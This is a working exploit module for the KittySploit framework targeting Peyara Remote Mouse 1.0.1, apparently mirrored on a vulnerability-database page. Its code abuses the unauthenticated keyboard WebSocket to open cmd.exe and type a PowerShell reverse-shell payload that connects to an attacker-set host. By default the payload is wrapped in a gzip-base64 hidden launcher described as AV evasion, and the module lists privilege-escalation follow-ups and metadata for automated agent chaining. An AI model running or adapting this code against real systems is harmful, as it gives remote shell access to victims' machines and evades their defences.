Peyara Remote Mouse 1.0.1 unauthenticated keyboard RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import gzip
import json
import time
import websocket
from kittysploit import *
from lib.protocols.websocket.websocket_client import WebsocketTimeoutException, Websocket_client
class Module(Exploit, Websocket_client):
__info__ = {
"name": "Peyara Remote Mouse 1.0.1 unauthenticated keyboard RCE",
"description": (
"Peyara Remote Mouse 1.0.1 exposes an unauthenticated Socket.IO WebSocket "
"service on TCP 1313 that accepts remote keyboard events. This module opens "
"cmd.exe on the target and types a command payload one keystroke at a time."
),
"author": ["tmrswrr", "KittySploit Team"],
"platform": Platform.WINDOWS,
"arch": [Arch.X86, Arch.X64],
"references": [
"https://github.com/capture0x/Peyara",
"https://peyara-remote-mouse.vercel.app/",
],
"tags": [
"peyara",
"remote-mouse",
"socket.io",
"websocket",
"keyboard",
"rce",
"unauthenticated",
"windows",
],
"payload": {
"default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
"arch": Arch.OTHER,
"platform": Platform.WINDOWS,
"category": PayloadCategory.SINGLE,
},
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 1,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths", "risk_signals"],
"cost": 2.0,
"noise": 0.8,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": ["peyara", "remote-mouse", "socket.io"],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": [],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [
{"capability": "rce", "from_detail": ""},
{"capability": "shell", "from_detail": ""},
],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [
"post/shell/windows/gather/system_info",
"post/shell/windows/manage/privilege_escalation",
],
},
},
}
_DEFAULT_KEY_DELAY = 0.06
_DEFAULT_WINDOW_DELAY = 1.0
_AFFECTED_VERSION = "1.0.1"
_ENGINEIO_OPEN = "0"
_ENGINEIO_CLOSE = "1"
_ENGINEIO_PING = "2"
_ENGINEIO_PONG = "3"
_SOCKETIO_CONNECT = "40"
_SOCKETIO_EVENT = "42"
port = OptPort(1313, "Peyara Socket.IO port", True)
ssl = OptBool(False, "Use WSS", True, advanced=True)
target_uri = OptString("/", "Base path for the Socket.IO endpoint", required=False)
key_delay = OptFloat(
_DEFAULT_KEY_DELAY,
"Delay between keyboard events (seconds)",
required=False,
advanced=True,
)
window_delay = OptFloat(
_DEFAULT_WINDOW_DELAY,
"Delay after opening cmd before typing the payload (seconds)",
required=False,
advanced=True,
)
connect_retries = OptInteger(
10,
"Socket.IO session open retries when target is busy",
required=False,
advanced=True,
)
retry_delay = OptFloat(
3.0,
"Delay between Socket.IO connect retries (seconds)",
required=False,
advanced=True,
)
gzip_payload = OptBool(
True,
"Wrap PowerShell in gzip+base64 launcher (AV evasion; disable for raw payload)",
required=False,
advanced=True,
)
command = OptString(
"",
"Override typed command (defaults to configured payload or lhost/lport reverse shell)",
required=False,
advanced=True,
)
def _ws_timeout(self) -> float:
return max(float(self.timeout or 10), 3.0)
def _key_delay(self) -> float:
return float(self.key_delay or self._DEFAULT_KEY_DELAY)
def _window_delay(self) -> float:
return float(self.window_delay or self._DEFAULT_WINDOW_DELAY)
def _socket_io_path(self) -> str:
base = str(self.target_uri or "/").strip() or "/"
if not base.startswith("/"):
base = "/" + base
base = base.rstrip("/")
if base:
return f"{base}/socket.io/?EIO=4&transport=websocket"
return "/socket.io/?EIO=4&transport=websocket"
def _build_reverse_shell_script(self, lhost: str, lport: int) -> str:
return (
f"$c=New-Object System.Net.Sockets.TCPClient('{lhost}',{int(lport)});"
"$s=$c.GetStream();"
"[byte[]]$b=0..65535|%{0};"
"while(($i=$s.Read($b,0,$b.Length)) -ne 0){;"
"$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);"
"$r=iex $d 2>&1;"
"$s.Write((New-Object -TypeName System.Text.ASCIIEncoding).GetBytes($r + 'PS > '),0,($r + 'PS > ').Length)"
"}"
)
def _build_gzip_powershell_launcher(self, script: str) -> str:
blob = base64.b64encode(gzip.compress(script.encode())).decode()
return (
"powershell -nop -w hidden -noni -ep bypass -c "
'"&([scriptblock]::create((New-Object System.IO.StreamReader('
"New-Object System.IO.Compression.GzipStream("
"(New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String("
f"'{blob}'"
"))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))\""
)
def _maybe_gzip_wrap(self, command: str) -> str:
if not bool(self.gzip_payload):
return command
lowered = command.lower()
if lowered.startswith("powershell") and "-encodedcommand" in lowered:
token = command.rsplit(None, 1)[-1]
try:
script = base64.b64decode(token).decode("utf-16le")
return self._build_gzip_powershell_launcher(script)
except Exception:
return command
if lowered.startswith("powershell"):
return command
return self._build_gzip_powershell_launcher(command)
def _resolve_command(self) -> str:
manual = str(self.command or "").strip()
if manual:
return manual
payload_cmd = str(self.payload or "").strip()
if payload_cmd:
return self._maybe_gzip_wrap(payload_cmd)
lhost = str(self.lhost or "").strip()
lport = int(self.lport or 0)
if lhost and lport:
return self._build_gzip_powershell_launcher(
self._build_reverse_shell_script(lhost, lport)
)
raise ProcedureError(
FailureType.ConfigurationError,
"Configure payload, lhost/lport, or command",
)
def _recv_text(self) -> str:
frame = self.ws_recv()
if frame is None:
raise WebsocketTimeoutException("WebSocket receive timed out")
if isinstance(frame, bytes):
return frame.decode("utf-8", errors="replace")
return str(frame)
def _close_session(self) -> None:
if not self.ws:
return
try:
self.ws_send(self._ENGINEIO_CLOSE)
except Exception:
pass
self.ws_close()
def _send_event(self, event: str, data) -> None:
self.ws_send(self._SOCKETIO_EVENT + json.dumps([event, data]))
time.sleep(self._key_delay())
def _press_key(self, key: str) -> None:
self._send_event("key", key)
def _socketio_connect(self) -> bool:
self.ws_send(self._SOCKETIO_CONNECT)
for _ in range(3):
frame = self._recv_text()
if frame == self._ENGINEIO_PING:
self.ws_send(self._ENGINEIO_PONG)
if frame.startswith(self._SOCKETIO_CONNECT):
return True
return False
def _open_socketio_session(self) -> None:
retries = int(self.connect_retries or 10)
delay = float(self.retry_delay or 3.0)
path = self._socket_io_path()
last_error = ""
for attempt in range(1, retries + 1):
try:
self.ws_close()
self.ws_connect(path=path)
if self.ws:
self.ws.settimeout(self._ws_timeout())
frame = self._recv_text()
if frame.startswith(self._ENGINEIO_OPEN):
return
self._close_session()
except Exception as exc:
last_error = str(exc)
self._close_session()
if attempt < retries:
print_status(f"Target busy, retrying ({attempt}/{retries})...")
time.sleep(delay)
raise ProcedureError(
FailureType.TargetUnreachable,
last_error or "Could not obtain Engine.IO OPEN frame",
)
def _open_command_prompt(self) -> None:
self._send_event("edit-key", {"key": "escape", "modifier": ["control"]})
time.sleep(0.5)
for key in ("c", "m", "d", "enter"):
self._press_key(key)
time.sleep(self._window_delay())
self._press_key("enter")
time.sleep(0.5)
def _probe_handshake(self) -> tuple:
try:
self.ws_close()
self.ws_connect(path=self._socket_io_path())
if self.ws:
self.ws.settimeout(self._ws_timeout())
frame = self._recv_text()
if not frame.startswith(self._ENGINEIO_OPEN):
return False, False, f"Unexpected first frame: {frame[:80]!r}"
connected = self._socketio_connect()
if connected:
return True, True, "Engine.IO OPEN and Socket.IO namespace connect"
return True, False, "Engine.IO present but Socket.IO connect not acknowledged"
except Exception as exc:
return False, False, str(exc)
finally:
self._close_session()
def _inject_command(self, command: str) -> None:
try:
self._open_socketio_session()
if not self._socketio_connect():
raise ProcedureError(
FailureType.UnexpectedReply,
"Socket.IO namespace connect was not acknowledged",
)
print_status("Opening command prompt through remote keyboard events")
self._open_command_prompt()
print_status(f"Sending payload command ({len(command)} bytes)")
for char in command:
self._press_key(char)
time.sleep(self._window_delay())
self._press_key("enter")
finally:
self._close_session()
def check(self):
if not str(self.target or "").strip():
return {"vulnerable": False, "reason": "target not set", "confidence": "low"}
engine_io, socket_io, reason = self._probe_handshake()
if engine_io and socket_io:
return {
"vulnerable": True,
"reason": (
f"{reason} on TCP/{int(self.port)} "
f"(Peyara Remote Mouse <= {self._AFFECTED_VERSION} likely)"
),
"confidence": "high",
}
if engine_io:
return {
"vulnerable": True,
"reason": f"{reason} on TCP/{int(self.port)}",
"confidence": "medium",
}
return {
"vulnerable": False,
"reason": reason or "WebSocket handshake failed",
"confidence": "medium",
}
def run(self):
if not str(self.target or "").strip():
print_error("Target host is required")
return False
try:
command = self._resolve_command()
except ProcedureError as exc:
print_error(str(exc))
return False
lhost = str(self.lhost or "").strip()
lport = int(self.lport or 0)
if lhost and lport:
print_info(f"Ensure listener is ready on {lhost}:{lport}")
print_status(f"Connecting to Socket.IO WebSocket on {self.target}:{int(self.port)}")
try:
self._inject_command(command)
except ProcedureError as exc:
print_error(str(exc))
return False
except websocket.WebSocketException as exc:
print_error(f"WebSocket connection failed: {exc}")
return False
except Exception as exc:
print_error(f"Exploit failed: {exc}")
return False
print_success("Payload typed on target — check your listener for the shell")
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Sep 2026 12:42Current
6.1Medium risk
Vulners AI Score6.1